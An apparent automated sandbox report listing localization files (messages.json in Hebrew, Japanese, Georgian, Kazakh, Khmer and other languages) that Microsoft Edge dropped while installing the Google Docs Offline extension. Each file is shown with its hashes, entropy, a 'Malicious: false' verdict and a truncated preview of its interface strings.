Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
